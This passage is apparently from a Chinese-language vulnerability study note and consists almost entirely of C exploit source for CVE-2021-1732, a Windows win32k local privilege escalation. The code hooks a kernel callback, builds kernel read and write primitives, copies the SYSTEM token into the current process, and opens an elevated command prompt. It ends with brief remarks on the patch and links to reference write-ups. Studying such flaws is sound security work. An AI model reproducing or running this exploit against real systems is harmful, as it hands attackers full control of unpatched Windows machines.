(*(WORD*)qwBaseAddress != g_nRandom & dwRegionSize > 0 ) { qwBaseAddress += 2 ; dwRegionSize--; } if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2 ) - (0xc8 >> 2 )) != 0x8000000 ) { qwBaseAddress = qwBaseAddress + 4 ; DWORD64 qwSub = qwBaseAddressBak - qwBaseAddress; dwRegionSize = dwRegionSizeBak + qwSub; } hwndMagicWindow = (HWND) * (DWORD*)(qwBaseAddress - 0xc8 ); if (hwndMagicWindow) { break ; } } while (true ); return hwndMagicWindow; } DWORD64 MyxxxClientAllocWindowClassExtraBytes (DWORD64* a1) { DWORD64 dwTemp = *a1; if (dwTemp == g_nRandom) { HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize); printf ("MagciHwnd==%p\r\n" , hwndMagic); if (hwndMagic) { g_pfnNtUserConsoleControl(6 i64, &hwndMagic, 0x10 ); DWORD64 qwRet = OffsetToDesktopHeap_min; g_pfnNtCallbackReturn(&qwRet, 24 i64, 0 i64); } } DWORD64 dwTest = *((PULONG64) * (a1 - 11 )); return OldxxxClientAllocWindowClassExtraBytes(a1); } BOOL HookClientAllocWindowClassExtraBytes () { BOOL bRet = TRUE; DWORD dwOldProtect; g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll" ), "NtUserConsoleControl" ); g_pfnNtCallbackReturn = (fnNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll" ), "NtCallbackReturn" ); DWORD64 KernelCallbackTable = *(DWORD64*)(__readgsqword(0x60 u) + 0x58 ); OldxxxClientAllocWindowClassExtraBytes = (fnxxxClientAllocWindowClassExtraBytes) * (DWORD64*)(KernelCallbackTable + 0x3D8 ); VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8 ), 0x300 ui64, 0x40 u, &dwOldProtect); *(DWORD64*)(KernelCallbackTable + 0x3D8 ) = (DWORD64)MyxxxClientAllocWindowClassExtraBytes; VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8 ), 0x300 ui64, dwOldProtect, &dwOldProtect); return bRet; } DWORD64 MyRead (DWORD64 targetAdress) { BYTE qwRet[8 ] = { 0 }; MENUBARINFO pmbi = {}; pmbi.cbSize = sizeof (MENUBARINFO); *(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x58 )) = targetAdress - 0x40 ; if (!GetMenuBarInfo(g_hwnd_max, -3 , 1 , &pmbi)) { printf ("GetMenuBarInfo error" ); } *(PDWORD)(qwRet) = pmbi.rcBar.left; *(PDWORD)(qwRet + 4 ) = pmbi.rcBar.top; return *(PDWORD64)qwRet; } LRESULT __fastcall MyWndProc (HWND a1, UINT a2, WPARAM a3, LPARAM a4) { if (a2 != 2 ) return DefWindowProcW(a1, a2, a3, a4); PostQuitMessage(0 ); return 0 i64; } BOOL InitWindowsClass () { int WndNum = 10 ; int i = 0 ; struct _MEMORY_BASIC_INFORMATION Buffer = {}; srand(time(0 i64)); g_nRandom = (rand() % 255 + 0x1234 ) | 1 ; WNDCLASSEXW wndClass = {}; wndClass.lpfnWndProc = (WNDPROC)MyWndProc; wndClass.cbSize = 80 ; wndClass.style = 3 ; wndClass.cbClsExtra = 0 ; wndClass.cbWndExtra = 32 ; wndClass.hInstance = GetModuleHandleW(0 i64); wndClass.lpszClassName = L"normalClass" ; ATOM g_lpWcxNormal = RegisterClassExW(&wndClass); wndClass.cbWndExtra = g_nRandom; wndClass.lpszClassName = L"magicClass" ; ATOM g_lpWcxMagic = RegisterClassExW(&wndClass); CreatePopupMenu(); for (i = 0 ; i < WndNum; i++) { g_hwnd[i]= CreateWindowExW( WS_EX_NOACTIVATE, (LPCWSTR)(unsigned __int16)g_lpWcxNormal, L"windows" , 0x8000000 u, 0 , 0 , 0 , 0 , 0 i64, CreateMenu(), GetModuleHandleW(0 i64), 0 i64); g_ptagWNDk[i] = (DWORD64)pHmValidateHandle(g_hwnd[i], 1 ); VirtualQuery((LPVOID)g_ptagWNDk[i], &Buffer, 0x30 ui64); if (g_qwMinBaseAddress == 0 ) { g_qwMinBaseAddress = (DWORD64)Buffer.BaseAddress; g_qwRegionSize = (DWORD64)Buffer.RegionSize; } else { if (g_qwMinBaseAddress > (DWORD64)Buffer.BaseAddress) { g_qwMinBaseAddress = (DWORD64)Buffer.BaseAddress; g_qwRegionSize = (DWORD64)Buffer.RegionSize; } } } if (*(DWORD*)((char *)g_ptagWNDk[0 ] + 8 ) < *(DWORD*)((char *)g_ptagWNDk[1 ] + 8 )) { g_ptagWNDK_min = g_ptagWNDk[0 ]; g_ptagWNDK_max = g_ptagWNDk[1 ]; g_hwnd_min = g_hwnd[0 ]; g_hwnd_max = g_hwnd[1 ]; } else { g_ptagWNDK_min = g_ptagWNDk[1 ]; g_ptagWNDK_max = g_ptagWNDk[0 ]; g_hwnd_min = g_hwnd[1 ]; g_hwnd_max = g_hwnd[0 ]; } OffsetToDesktopHeap_min = *(DWORD*)(g_ptagWNDK_min + 8 ); OffsetToDesktopHeap_max= *(DWORD*)(g_ptagWNDK_max + 8 ); g_pfnNtUserConsoleControl(6 i64, &g_hwnd_min, 0x10 ); OldpExtraBytes_min = *(DWORD64*)(g_ptagWNDK_min + dwpExtraBytesOffset); OldpExtraBytes_max = *(DWORD64*)(g_ptagWNDK_max + dwpExtraBytesOffset); for (int i = 2 i64; i < 10 ; ++i) DestroyWindow(g_hwnd[i]); g_hwndMagic = CreateWindowExW( 0x8000000 u, (LPCWSTR)(unsigned __int16)g_lpWcxMagic, L"Magicwnd" , 0x8000000 u, 0 , 0 , 0 , 0 , 0 i64, NULL , GetModuleHandleW(0 i64), 0 i64); SetWindowLongW(g_hwndMagic, dwpExtraBytesOffset, OffsetToDesktopHeap_min); SetWindowLongW(g_hwndMagic, dwcbWndExtraOffset, 0xFFFFFFF ); printf ("testnum address : %p\n" , &testnum); SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwpExtraBytesOffset - OffsetToDesktopHeap_min, (LONG_PTR)&testnum); printf ("testnum old value : %x\n" , testnum); SetWindowLongPtrA(g_hwnd_max, 0 , 0x1234 ); printf ("testnum new value : %x\n" , testnum); HANDLE hProcHeap = NULL ; hProcHeap = GetProcessHeap(); g_qwMenu = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0xA0 ); *(PDWORD64)(g_qwMenu + 0x98 ) = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x20 ); *(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x98 )) = g_qwMenu; *(PDWORD64)(g_qwMenu + 0x28 ) = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x200 ); *(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x28 ) + 0x2C ) = 1 ; *(PDWORD64)(g_qwMenu + 0x58 ) = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x8 ); *(PDWORD)(g_qwMenu + 0x40 ) = 1 ; *(PDWORD)(g_qwMenu + 0x44 ) = 2 ; DWORD64 qwStyle = *(PDWORD64)(g_ptagWNDK_max + dwStyleOffset); qwStyle |= 0x4000000000000000 ; SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle); qwspMenuOld =SetWindowLongPtrA(g_hwnd_max, GWLP_ID, g_qwMenu); qwStyle &= ~0x4000000000000000 ; SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle); return TRUE; } ULONG64 GetNTBase () { ULONG64 Base[0x1000 ]; DWORD dwRet = 0 ; ULONG64 ulKrnlBase = 0 ; if (EnumDeviceDrivers((LPVOID*)&Base, sizeof (Base), &dwRet)) { ulKrnlBase = Base[0 ]; } return ulKrnlBase; } ULONG64 GetSystemProcess () { HMODULE hModel = NULL ; ULONG64 ulAddress = 0 , ulOSBase = 0 , ulRes = 0 ; ulOSBase = GetNTBase(); hModel = LoadLibraryA("ntoskrnl.exe" ); ulAddress = (ULONG64)GetProcAddress(hModel, "PsInitialSystemProcess" ); ulRes = ulAddress - (ULONG64)hModel + ulOSBase; return ulRes; } void PrivilegeEscalatio () { DWORD64 qwSytemAddr = GetSystemProcess(); DWORD dwPid = GetCurrentProcessId(); DWORD dwtmpPid = 0 ; DWORD64 qwEprocess = MyRead(qwSytemAddr); DWORD64 qwSystemToken = MyRead(qwEprocess + dwTokenOffset); do { qwEprocess = MyRead(qwEprocess + dwLinkOffset) - dwLinkOffset; dwtmpPid = MyRead(qwEprocess + dwPIDOffset); } while (dwPid != dwtmpPid); SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwpExtraBytesOffset - OffsetToDesktopHeap_min, qwEprocess + dwTokenOffset); SetWindowLongPtrA(g_hwnd_max, 0 , qwSystemToken); } BOOL Init_CVE_2021_1732 () { BOOL bRet = TRUE; if (!FindHMValidateHandle()) { printf ("[!] Failed to locate HmValidateHandle, exiting\n" ); bRet = FALSE; return bRet; } if (!HookClientAllocWindowClassExtraBytes()) { printf ("[!] Failed to locate HmValidateHandle, exiting\n" ); } InitWindowsClass(); } VOID CreateCmd () { STARTUPINFO si = { sizeof (si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL , wzFilePath, NULL , NULL , FALSE, CREATE_NEW_CONSOLE, NULL , NULL , (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); } VOID FixDate () { g_ptagWNDK_Magic= (DWORD64)pHmValidateHandle(g_hwndMagic, 1 ); OffsetToDesktopHeap_Magic= *(PDWORD)(g_ptagWNDK_Magic + 8 ); DWORD dwFlags = *(PDWORD)(g_ptagWNDK_Magic + dwExtraFlagOffset); dwFlags &= ~0x800 ; DWORD64 qwBuffer = (DWORD64)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, g_nRandom); SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_Magic + dwExtraFlagOffset - OffsetToDesktopHeap_min, dwFlags); SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_Magic + dwpExtraBytesOffset - OffsetToDesktopHeap_min, qwBuffer); SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwpExtraBytesOffset - OffsetToDesktopHeap_min, OldpExtraBytes_max); SetWindowLongPtrA(g_hwnd_min, dwpExtraBytesOffset, OldpExtraBytes_min); DWORD64 qwStyle = *(PDWORD64)(g_ptagWNDK_max + dwStyleOffset); qwStyle |= 0x4000000000000000 ; SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle); SetWindowLongPtrA(g_hwnd_max, GWLP_ID, qwspMenuOld); qwStyle &= ~0x4000000000000000 ; SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle); } int main () { Init_CVE_2021_1732(); PrivilegeEscalatio(); CreateCmd(); FixDate(); getchar(); }
效果如下
微软补丁 下载不到补丁,链接失效了,只不过无所谓,后面出现了一个绕过这个补丁的提权洞CVE-2022-21882,到时候对比也行。
参考 CVE-2021-1732 Windows10 本地提权漏洞复现及详细分析-安全客 - 安全资讯平台 (anquanke.com)
Github: KaLendsi/CVE-2021-1732-Exploit
CVE-2021-1732提权漏洞学习笔记-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)